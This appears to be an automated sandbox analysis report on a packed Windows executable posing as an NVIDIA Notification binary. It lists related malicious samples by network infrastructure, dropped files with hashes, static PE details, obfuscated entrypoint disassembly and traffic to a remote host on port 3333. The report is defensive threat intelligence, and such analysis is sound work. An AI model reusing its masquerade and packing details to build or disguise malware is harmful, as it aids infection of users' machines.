	scan_skmbt1026.js	Get hash	malicious	Browse	162.159.130.233

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	OhqBpQ2dS9.exe	Get hash	malicious	Browse	104.21.67.139
	UjboQ4kMkF.exe	Get hash	malicious	Browse	104.21.79.226
	2x1Rmuo23m.exe	Get hash	malicious	Browse	172.67.177.56
	GenshinHack.exe	Get hash	malicious	Browse	162.159.134.233
	vbc.exe	Get hash	malicious	Browse	23.227.38.74
	Installer.exe	Get hash	malicious	Browse	162.159.129.233
	YRbcV0B6TZ.exe	Get hash	malicious	Browse	162.159.130.233
	Casting Invite.-06503_20211027.xlsb	Get hash	malicious	Browse	162.159.135.233
	4ylDhKEqSS.exe	Get hash	malicious	Browse	104.21.67.139
	BqFtjsLUMm.exe	Get hash	malicious	Browse	104.21.67.139
	Casting Invite.-06503_20211027.xlsb	Get hash	malicious	Browse	162.159.133.233
	vq7HsMD9uV.exe	Get hash	malicious	Browse	162.159.134.233
	96F34985E744EDAE462B513FD68856056C135078302D8.exe	Get hash	malicious	Browse	162.159.129.233
	HELP_DECRYPT.URL	Get hash	malicious	Browse	172.67.134.253
	fCARkQInjh.exe	Get hash	malicious	Browse	162.159.134.233
	f30dab44e1b3c177c002b35c5e9a933b79345c378dbf4.exe	Get hash	malicious	Browse	104.26.9.187
	Message.html	Get hash	malicious	Browse	104.16.18.94
	2k37yviKVW.exe	Get hash	malicious	Browse	162.159.134.233
	setup_x86_x64_install.exe	Get hash	malicious	Browse	104.21.94.238
	6oi3E5jdTR.exe	Get hash	malicious	Browse	162.159.134.233
HETZNER-ASDE	Genshin Inject.exe	Get hash	malicious	Browse	176.9.247.226
	0x000500000001abb1-152.exe	Get hash	malicious	Browse	88.99.75.82
	96F34985E744EDAE462B513FD68856056C135078302D8.exe	Get hash	malicious	Browse	88.99.66.31
	setup_x86_x64_install.exe	Get hash	malicious	Browse	88.99.66.31
	Software patch by Silensix.exe	Get hash	malicious	Browse	88.99.66.31
	cheatMINE.exe	Get hash	malicious	Browse	188.34.176.164
	nSHIPPING-ADVISE_SHIPMENT-INFORMATION_3814147541--Delivery_OCTOBER28-2021.vbs	Get hash	malicious	Browse	178.63.167.33
	AQ7reGjgnP.exe	Get hash	malicious	Browse	88.99.75.82
	uiso9_pe.exe	Get hash	malicious	Browse	88.99.66.31
	D4L4075.exe	Get hash	malicious	Browse	95.217.121.158
	PDF FILE.exe	Get hash	malicious	Browse	136.243.159.53
	e6AynLSw3y.exe	Get hash	malicious	Browse	144.76.183.53
	3weZ3HvFxH.exe	Get hash	malicious	Browse	88.99.75.82
	Byov62cXa1.exe	Get hash	malicious	Browse	144.76.162.241
	setup_installer.exe	Get hash	malicious	Browse	88.99.66.31
	usuyeoiSVT.exe	Get hash	malicious	Browse	135.181.8.216
	eMxXqjzvae.exe	Get hash	malicious	Browse	88.99.66.31
	DHL+Shipment+Notification_3814110941--Delivery_OCTOBER27-2021.exe	Get hash	malicious	Browse	178.63.167.33
	test1.test.dll	Get hash	malicious	Browse	88.99.53.105
	test1.test.dll	Get hash	malicious	Browse	88.99.53.105

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	u5wvRSIA2Z.exe	Get hash	malicious	Browse	162.159.129.233
	GenshinHack.exe	Get hash	malicious	Browse	162.159.129.233
	Installer.exe	Get hash	malicious	Browse	162.159.129.233
	vq7HsMD9uV.exe	Get hash	malicious	Browse	162.159.129.233
	fCARkQInjh.exe	Get hash	malicious	Browse	162.159.129.233
	6oi3E5jdTR.exe	Get hash	malicious	Browse	162.159.129.233
	Software patch by Silensix.exe	Get hash	malicious	Browse	162.159.129.233
	diece.js	Get hash	malicious	Browse	162.159.129.233
	488706b8e34f0d64a9023adb6a2570b9983fd741f0306.exe	Get hash	malicious	Browse	162.159.129.233
	Jm3x80kZjO.exe	Get hash	malicious	Browse	162.159.129.233
	zHHEKo925b.exe	Get hash	malicious	Browse	162.159.129.233
	4BxZpwUFPO.exe	Get hash	malicious	Browse	162.159.129.233
	RE0jBlQylG.exe	Get hash	malicious	Browse	162.159.129.233
	wzsdej.js	Get hash	malicious	Browse	162.159.129.233
	Urgent Tender.exe	Get hash	malicious	Browse	162.159.129.233
	SecuriteInfo.com.Trojan.Win32.Save.a.11011.exe	Get hash	malicious	Browse	162.159.129.233
	ueLBQQ6b5q.exe	Get hash	malicious	Browse	162.159.129.233
	96ad89ff084cb88f1bd0bf8f104b744d9bf26157aa9f1.exe	Get hash	malicious	Browse	162.159.129.233
	9d185a3e5184065f1628af9d8325e53b8503a0f7705e5.exe	Get hash	malicious	Browse	162.159.129.233
	RpC5PqzDnq.exe	Get hash	malicious	Browse	162.159.129.233

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_702d02cc220387cd_b2d5deeb8274c46c501717ad6c7f8ffc1fddc_e89f250c_17efcb85\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7320594466700165
Encrypted:	false
SSDEEP:	96:sxFIsdNsJfsNU6sSe50Y6soeD09frpXIQcQGc6VXcE0cw3tsms0+HbHg/8BRTf3r:4L4sanYHIJeyjjq/u7skS274ItH
MD5:	6B00104C94E7DF53C0E0F2006A6092AD
SHA1:	3B0D58DAAF638F976F2BE7C196BA834AB41508F6
SHA-256:	3E6E80096B1336E08662D60CBE67A70F94CFE70A7775C1284256ECA7A4BC3361
SHA-512:	8866D203CDC4023F62DA272C10ECB2D0AF0F5B541C9110E40A17D0CC883105F51F27E9A4760052FE806E7BBB77E1F8347C8F3418C1A45E6BDF766838D1C0A861
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.7.9.9.5.9.7.8.5.1.5.7.1.3.4.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.7.9.9.5.9.7.9.1.4.6.8.4.7.7.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.e.f.d.e.3.b.0.-.4.6.0.a.-.4.f.f.a.-.9.8.9.f.-.b.a.3.9.d.a.b.5.8.d.4.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.a.1.7.c.0.3.6.-.5.3.4.6.-.4.4.c.2.-.a.f.e.8.-.d.6.c.d.0.7.9.5.3.5.b.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.7.0.2.d.0.2.c.c.2.2.0.3.8.7.c.d.8.f.2.0.2.9.5.2.0.c.d.e.9.7.b.d.3.8.7.9.a.1.e.1.5.1.b.1.9...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.6.0.-.0.0.0.1.-.0.0.1.c.-.b.6.c.5.-.4.c.d.1.8.7.c.c.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.2.f.f.9.2.e.f.9.8.a.d.2.6.3.6.a.6.f.e.3.2.6.9.4.c.e.9.8.8.8.f.7.0.0.0.0.0.9.0.4.!.0.0.0.0.8.c.2.1.f.c.f.a.8.1.3.2.4.6.7.3.b.a.e.a.7.3.c.d.c.b.5.0.5.6.0.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER37B1.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Oct 29 05:43:06 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	936726
Entropy (8bit):	0.7019430669089897
Encrypted:	false
SSDEEP:	768:FPfd/bvtvQtg0+F17ZXIQ6iGHxOFOnKUVX1Z8KZgMfsfsjA:Nf5FNqiGROFOnKwbgM0fsj
MD5:	C4DF94A29BD5BD046B61C3E1E1147A2E
SHA1:	A33FA9C770B7F29AA98C470182D7F45DD4DDD272
SHA-256:	59154EB1C141D33392FE3F6C8F8535429F05E54C1758C8C3C0654B35438FF0C2
SHA-512:	849FB932D44F1C74FA41E5701C5DCF5C39F168B954A568CA0FF3E2CC99547B86CFF4C9BC717DD442199A536311EA33662DC54356D599FF7B720E35354E1CAB55
Malicious:	false
Reputation:	low
Preview:	MDMP....... ........{a....................................t...............T.......8...........T...........8....@......................t....................................................................U...........B..............GenuineIntelW...........T.......`....{a.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER407C.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8542
Entropy (8bit):	3.7013331925921715
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNizb6WgYyZ6YFCSU+R6jgmfHLrLKSgCpDd89bGbtsfyAjm:RrlsNiv6WNyZ6YASU+RmgmfH/WSKGbm4
MD5:	38C1D511C2D9327F5FE4DCF529CE8CEF
SHA1:	2924ABE30020840EB77412D72092B996EB6D31E9
SHA-256:	3B6095EBFCC42CD39217729ECCF62FC9C1ED21CBD1D01070AD936D589BA3FCF5
SHA-512:	994ED0F4ABA8F98B8BEC5630A35B3CF3393B6A29935A67ACDF63AAFC87806C0B0B22008C55D6FC0C564AB41BE4B4F8C3DE3F506F5BBF3C53A4F3BD2A9E938F2D
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.0.0.8.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER43D8.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4841
Entropy (8bit):	4.545233593966315
Encrypted:	false
SSDEEP:	48:cvIwSD8zsEJgtWI9KcWSC8BJ8fm8M4JArwrdNFprUeNA6F7bK+q8lrjtJreiKUA5:uITfCdVSNQJ4IdhUtVIjTepvOhanQn8d
MD5:	8CE2B997675F3006FB5B3E3C3D8864B5
SHA1:	4F51FB71BEF52903F448D109EF71FD85D6E5DCFF
SHA-256:	13520CF5DD6D325A843C20722ED151DA7F1578D7229E6FC03D859E5037E96B16
SHA-512:	2A4AC7DD8CDC237D4B358E1D4199348B4F6E1666A93261DB4A3E1C4E3F3DF9093F0466521715B567645C09BBF855C7C89A7A8AACAA46FB81961090C939F636FA
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1230653" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\fl.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\fl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2505
Entropy (8bit):	5.364344498094055
Encrypted:	false
SSDEEP:	48:MxHKn1qHGiD0HKeGfHeHjHiYHKGD8Ao6+vxpNStHTG1hAHKKPuHVH1HiXH+aHKs:iqnwmI0qe8+DCYqGgAo9ZPStzG1eqKPF
MD5:	742E976BEBAAA0811E6EFA50D8A69117
SHA1:	D6988852B132730C54E5031C050B467A989CB032
SHA-256:	4CEF0440AC65B2D5D37EECD6C9618D57C929F098D350EA229461140C3FAE62E3
SHA-512:	6211A60A01E47C5202525386BBA0CA0530DECA822F662C733DF80B2AB31F8AAF0E931F50D45B37C731BD3BB63DEC1ADBE08A2C0ECD590E18AD5733538CC8E5DA
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\49e5c0579db170be9741dccc34c1998e\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\6d7d43e19d7fc0006285b85b7e2c8702\System.Windows.Forms.ni.dll",0..2,"System.Runtime, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Globalization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Resources.ResourceManager, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral,

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2291
Entropy (8bit):	5.3192079301865585
Encrypted:	false
SSDEEP:	48:MOfHK5HKXAHKhBHKdHKB1AHKzvQTHmYHKhQnoPtHoxHImHK1HxLHG1qHjHKdH5HX:vq5qXAqLqdqUqzcGYqhQnoPtIxHbq1RW
MD5:	58E50B3666584608A0EE88C5D36B394C
SHA1:	567E8A7EAC9EFD78134B726D55E9E44B86621BA8
SHA-256:	1D166DB9B8A16529F40FC396C42E720E84A9C2E6F5F0E3AB03378CF022428C2E
SHA-512:	E9924505D211545EA1E5A730EE56DC5C3AED290933C3FC4F5770185C56E4855285880542CF41E53B9E5CBACD54FA062C03ABAB2CB1E9FE46FDD7ACBCC1681752
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\34957343ad5d84daee97a1affda91665\System.Runtime.Serialization.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=

C:\Users\user\AppData\Local\Temp\fl.exe Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4018176
Entropy (8bit):	7.969751603717609
Encrypted:	false
SSDEEP:	49152:YgdJTXbxkB+v48a34EG5t5LHvoOkwU/z8ued22H93AbZwAVqtDyntRK1h3ONOiay:Td7l4g7LPHo/oIZwDI0h3ODaLNslsc
MD5:	45B9D6DBC9ECF89F036E2F4B3A51CDB9
SHA1:	9AB0F4FE1270608645EDB07CCBF85B56EBC6035E
SHA-256:	21C6138C6971B487B34E34EEBC93168FD5062A8E6D18B9C494A97D9321684BC5
SHA-512:	B336367D858B84F836DA1A4E975BFFAA1E209A66B42C21743801478EC6D7B65419BA8A08B807FE8339DDC6F428B26B8C2258115048BF6A1D1EE5D2D9D4BDA71B
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 12%, Browse Antivirus: ReversingLabs, Detection: 21%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...iOza.........."......F....;...........8...@...... ........................=...........`...@......@............... ................................:.\|.............................................................................................8.H...........y'&jKHJ..S8.. ...T8.................@....text...lD....8..F...X8............. ..`.rsrc...\|.....:.......:.............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.276338453575861
Encrypted:	false
SSDEEP:	12288:VwsSZL1RoATBhMDFcNn0y7fXEhjtKt2pgRoSgUXD5ensh5r8ejzRU:WsSZL1RoATBhMDcn
MD5:	289036FB7EB68353C6F6000D88449C65
SHA1:	A0A6701456048B2C5EDB47AC97CD8FC08A035A94
SHA-256:	101A2576F74F009237F2284ACC4286ED7F7A254C7492A26A0C565252FD19429B
SHA-512:	729AECA017B6D7F3E482603C94590845290354CAA348E8FF71EA9CDFF19B9242ACF390ED6F78275B89CF6461A94A17D950FB38AD94160D1C32F223FC1B1FD8EC
Malicious:	false
Reputation:	low
Preview:	regfZ...Z...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.-J................................................................................................................................................................................................................................................................................................................................................1RN.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1 Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	4.0455645577158394
Encrypted:	false
SSDEEP:	384:fYvX5Rftx1BPJ4XavFFnE7kuPBqXBSeq5QMVyiy+/xl4Lk4FZd1DoXznn7mNYaeX:AvJRftx1hJ4XMFFE77BqXIeq5QMVyiyS
MD5:	9A054700A06C432405C9DD24AB959C3E
SHA1:	65A455B495D64AB88C37546BAB43886373335EE1
SHA-256:	6B893F26AD92B91CF137619F9EADCB57941A6E8650CAAB06794ABA10CF6521CD
SHA-512:	A2A8F84EC43BFBDEDD83B14090C769B269CF58D42A96BF5F14E5B5C309C6A5D5288E8585C24F8B3A4DD2526BCC42676500710DA26CA833C3FDCC0F7DCCAD9D5E
Malicious:	false
Reputation:	low
Preview:	regfY...Y...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.-J................................................................................................................................................................................................................................................................................................................................................7RN.HvLE.^......Y...................B.+"..KW.........0................... ..hbin................p.\..,..........nk,.q.L........@........................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk .q.L........ ........................... .......Z.......................Root........lf......Root....nk .q.L.....................}.............. ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck...

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.866397612452012
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe
File size:	4377600
MD5:	6d8efbdd3c7a04521f1626f515562ef4
SHA1:	8c21fcfa81324673baea73cdcb505601aa996371
SHA256:	702d02cc220387cd8f2029520cde97bd3879a1e151b198b4e3faea08b808cc9a
SHA512:	52257bbbf5c7c4f7fb92dff48e07bca113b7fa96b7ee2daebf835d085bbc0a002355411afb69ceb8a908b925b7708048fe9fa345e5e82d72f8b0897e704fde81
SSDEEP:	98304:F7toNWVGVOx7kaOvz4aLG6R9S9Awhbft:1VGZvz4aypyqbft
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...z...{...zl..{...z...{...z...{...z...{...z...{]..z...{...z...{...{...{r..z...{r..{...{r..z...{Rich...{.......

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x6de4c4
Entrypoint Section:	.iQWIeij
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x6179332D [Wed Oct 27 11:08:29 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	908bea7ee71339f1c35ba419da3ba679

Entrypoint Preview

Instruction
push CA44999Eh
call 00007FC5BD4F5A12h
jmp 00007FC5BD5D9665h
clc
add ebp, ecx
jmp 00007FC5BD258493h
jmp esi
clc
cmp si, 60F3h
add esi, eax
jmp 00007FC5BD5AF5FCh
mov eax, edi
sub edi, 00000004h
test esp, ecx
stc
mov dword ptr [edi], eax
inc ah
sub ebp, 00000004h
bsf ax, ax
rol al, cl
mov eax, dword ptr [ebp+00h]
xor eax, ebx
jmp 00007FC5BD60758Ch
sub esi, 00000001h
cmp esi, ecx
movzx eax, byte ptr [esi]
adc dh, FFFFFFF3h
sbb dx, sp
sub dx, 1123h
xor al, bl
ror dx, cl
xor dx, 3389h
sub al, 61h
mov dx, di
neg al
adc dl, ah
cmp di, 7AB5h
sub al, C9h
jmp 00007FC5BD54AFD9h
cmc
add edi, eax
jmp 00007FC5BD5891B4h
not eax
dec eax
xor ebx, eax
test edx, eax
add edi, eax
jmp 00007FC5BD509556h
dec byte ptr [ebp+20h]
mov al, byte ptr [B474EF05h]
mov al, byte ptr [A8CE6114h]
pop edi
mov bh, byte ptr [ebx+66h]
pop edi
jnbe 00007FC5BD26FF45h
push esp
adc eax, E84F005Fh
mov byte ptr [B5C79459h], al
dec ebp
mov eax, dword ptr [E08E9774h]
pop edi
or al, 02h
jnp 00007FC5BD26FEECh
pop edi
jmp 00007FC61C40E071h

Rich Headers

Programming Language:

[IMP] VS2015 UPD3.1 build 24215

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5e20b4	0xa0	.iQWIeij
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69d000	0x53d	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x69c450	0x1c	.iQWIeij
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x69c030	0x40	.iQWIeij
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x5fa000	0x68	.iQWIeij
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x21fc2	0x22000	False	0.579245174632	data	6.65196110703	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.biJ1zjw	0x23000	0x1326	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x25000	0xebb8	0xec00	False	0.552585407839	data	5.70166442423	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x34000	0x1cf8	0x1000	False	0.18896484375	data	3.03274235436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.iQWIeij	0x36000	0x26ba51	0x0	unknown	unknown	unknown	unknown	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.iQWIeij	0x2a2000	0x3fa5f0	0x3fa600	unknown	unknown	unknown	unknown	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x69d000	0x53d	0x600	False	0.410807291667	data	3.85710258188	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x69d0a0	0x320	data	English	United States
RT_MANIFEST	0x69d3c0	0x17d	XML 1.0 document text	English	United States

Imports

DLL	Import
KERNEL32.dll	Sleep
USER32.dll	ShowWindow
WTSAPI32.dll	WTSSendMessageW
KERNEL32.dll	VirtualQuery
USER32.dll	GetProcessWindowStation
KERNEL32.dll	LocalAlloc, LocalFree, GetModuleFileNameW, GetProcessAffinityMask, SetProcessAffinityMask, SetThreadAffinityMask, Sleep, ExitProcess, FreeLibrary, LoadLibraryA, GetModuleHandleA, GetProcAddress
USER32.dll	GetProcessWindowStation, GetUserObjectInformationW

Version Infos

Description	Data
LegalCopyright	(C) 2017-2021 NVIDIA Corporation. All rights reserved.
InternalName	NVIDIA Notification
FileVersion	73.3683.1933.5
CompanyName	NVIDIA Corporation
ProductName	NVIDIA Notification
ProductVersion	rel_03_23/6986037
FileDescription	NVIDIA Notification
Translation	0x0409 0x04e4

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2021 22:43:11.077224016 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:11.100195885 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:11.100378036 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:12.194690943 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:12.219412088 CEST	3333	49742	144.76.156.28	192.168.2.3
